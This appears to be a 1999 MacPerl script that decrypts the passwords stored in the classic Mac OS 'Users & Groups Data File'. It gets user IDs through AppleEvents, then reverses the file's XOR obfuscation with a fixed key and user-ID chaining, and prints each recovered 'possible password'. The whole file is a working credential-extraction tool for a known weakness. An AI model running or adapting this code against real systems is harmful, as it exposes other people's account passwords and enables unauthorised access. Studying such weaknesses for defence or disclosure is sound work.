#!perl -w
# decrypt_users_and_groups.plx - decrypt Users & Groups passwords
# by Chris Nandor, pudge@pobox.com, http://pudge.net/
# Wednesday, July 14, 1999
#
# Requirements:
# MacPerl
#
#
# Users and Groups OSAX
#
#
# Mac::Glue and cpan-mac
#
use Fcntl;
use Mac::Files;
use Mac::Glue ':all';
use POSIX 'isprint';
use strict;
my($f, %u, $u, $t, @k, $g);
$f = $ARGV[0] ||
FindFolder(kOnSystemDisk, kPreferencesFolderType) .
':Users & Groups Data File';
$g = new Mac::Glue 'Finder';
while (1) {
my $info = $g->get_next_user_info( $u ? (name => $u) : () );
if (exists $info->{'ID '}) {
$u{$info->{pnam}} = $info->{'ID '};
$u = $info->{pnam};
} else {
last;
}
}
@k = map ord, qw(s p c g t p r k);
sysopen F, $f, O_RDONLY or die $!;
binmode F;
read F, $t, -s $f;
for my $u (sort {$u{$a} <=> $u{$b}} keys %u) {
MAIN: while ($t =~ /\Q$u\E\000?(.{8})/gs) {
my(@b, $p) = unpack 'C*', $1;
next if $b[0] == 0;
for my $i (0 .. $#b) {
# i think i have the algorithm right, here,
# it is different than the one encountered
# on http://www.securityfocus.com/vdb/bottom.html?vid=519
# first character seems to be XORd with user's ID XOR 1
my $c = $b[$i] ^ ($i == 0 ? $u{$u} ^ 1 : $b[$i-1]) ^ $k[$i];
next MAIN if $c != 0 && ! isprint(chr $c);
$p .= chr $c;
}
$p =~ s/\000+$//;
printf "possible password for '$u': $p\n";
}
}
BEGIN {
$Mac::AppleEvents::Simple::AE_GET{UREC} = sub {
$Mac::AppleEvents::Simple::AE_GET{typeAERecord()}->
(AECoerceDesc(shift, typeAERecord))
}
}
__END__